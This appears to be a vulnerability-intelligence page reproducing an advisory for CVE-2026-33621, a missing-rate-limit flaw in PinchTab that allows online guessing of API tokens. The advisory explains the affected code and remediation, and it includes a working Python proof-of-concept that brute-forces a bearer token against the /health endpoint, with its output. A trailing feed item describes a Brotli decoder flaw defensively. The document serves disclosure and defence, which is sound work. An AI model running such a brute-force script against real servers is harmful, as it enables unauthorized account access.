New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-33621

ExploitedNVDCIRCLENISA

EUVD-2026-16403 · Published Mar 24, 2026

PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token

Summary

PinchTab v0.7.7 through v0.8.4 contain incomplete request-throttling protections for auth-checkable endpoints. In v0.7.7 through v0.8.3, a fully implemented RateLimitMiddleware existed in internal/handlers/middleware.go but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.

In the same pre-v0.8.4 range, the original limiter also keyed clients using X-Forwarded-For, which would have allowed client-controlled header spoofing if the middleware had been enabled. v0.8.4 addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted /health and /metrics from rate limiting even though /health remained an auth-checkable endpoint when a token was configured.

This issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses 127.0.0.1 plus a generated random token in the recommended setup.

PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.

This was fully addressed in v0.8.5 by applying RateLimitMiddleware in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the /health and /metrics exemption so auth-checkable endpoints are throttled as well.

Details

Issue 1 — Middleware never applied in v0.7.7 through v0.8.3:
The production server wrapped the HTTP mux without RateLimitMiddleware:

// internal/server/server.go — v0.8.3
handlers.LoggingMiddleware(
    handlers.CorsMiddleware(
        handlers.AuthMiddleware(cfg, mux),
        // RateLimitMiddleware is not present here in v0.8.3
    ),
)

The function exists and is fully implemented:

// internal/handlers/middleware.go — v0.8.3
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ... 120 req / 10s logic ...
    })
}

Because RateLimitMiddleware was never referenced from the production handler chain in v0.7.7 through v0.8.3, the intended request throttling was inactive in those releases.

Issue 2 — X-Forwarded-For trust in the original limiter (v0.7.7 through v0.8.3):
Even if the middleware had been applied, the original IP identification was bypassable:

// internal/handlers/middleware.go — v0.8.3
host, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
    // No validation that request came from a trusted proxy
    // Client can set this header to any value
    host = strings.TrimSpace(strings.Split(xff, ",")[0])
}
// host is now client-influenced — rate limit key is spoofable

In v0.7.7 through v0.8.3, if the limiter had been enabled, a client could have influenced the rate-limit key through X-Forwarded-For. This made the original limiter unsuitable without an explicit trusted-proxy model.

Issue 3 — /health and /metrics remained exempt through v0.8.4:
v0.8.4 wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for /health and /metrics:

// internal/handlers/middleware.go — v0.8.4
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := strings.TrimSpace(r.URL.Path)
        if p == "/health" || p == "/metrics" || strings.HasPrefix(p, "/health/") || strings.HasPrefix(p, "/metrics/") {
            next.ServeHTTP(w, r)
            return
        }
        host := authn.ClientIP(r)
        // ...
    })
}

That left GET /health unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through v0.8.4.

PoC

This PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example password.

PoC Code

#!/usr/bin/env python3
# brute_force_poc.py — demonstrates unthrottled token guessing on /health
import urllib.request, urllib.error, time, sys

TARGET   = "http://localhost:9867/health"
WORDLIST = [f"wrong-{i:03d}" for i in range(150)] + ["password"]
counts = {}

print(f"[*] Brute-forcing {TARGET} — no rate limit protection")
start = time.time()
for token in WORDLIST:
    req = urllib.request.Request(TARGET)
    req.add_header("Authorization", f"Bearer {token}")
    try:
        with urllib.request.urlopen(req, timeout=5) as r:
            print(f"[+] FOUND: token={token!r}  HTTP={r.status}")
            counts[r.status] = counts.get(r.status, 0) + 1
            sys.exit(0)
    except urllib.error.HTTPError as e:
        print(f"[-] token={token!r}  HTTP={e.code}")
        counts[e.code] = counts.get(e.code, 0) + 1

elapsed = time.time() - start
print(f"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — "
      f"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)")
print(f"[*] status counts: {counts}")

After run

python3 ratelimit.py
[*] Brute-forcing http://localhost:9867/health — no rate limit protection
[-] token='wrong-000'  HTTP=401
...
[-] token='wrong-149'  HTTP=401
[+] FOUND: token='password'  HTTP=200
[*] 151 attempts in 0.84s — 180 req/s  (no 429 received)
[*] status counts: {401: 150, 200: 1}

Observation:

  1. In v0.7.7 through v0.8.3, rapid requests do not return HTTP 429 because RateLimitMiddleware is not active in production.
  2. In v0.8.4, the same /health PoC still does not return HTTP 429 because /health is explicitly exempted from rate limiting.
  3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.
  4. The original X-Forwarded-For behavior in v0.7.7 through v0.8.3 shows that the first limiter design would not have been safe to rely on behind untrusted clients.
  5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.
Impact
  1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.
  2. Loss of the intended per-IP throttling for burst requests against protected endpoints in v0.7.7 through v0.8.3, and against /health in v0.8.4.
  3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.
  4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.
Suggested Remediation
  1. Apply RateLimitMiddleware in the production handler chain for authenticated routes.
  2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.
  3. Do not exempt auth-checkable endpoints such as /health and /metrics from rate limiting.
  4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.

Screenshot capture
<img width="553" height="105" alt="ภาพถ่ายหน้าจอ 2569-03-18 เวลา 13 03 01" src="https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e" />

Technologies

Pinchtab Pinchtab

Weaknesses

CWE-290CWE-770

CVSS scores

  • v3.14.8CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Impact

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

Patrowl Intel platform screenshot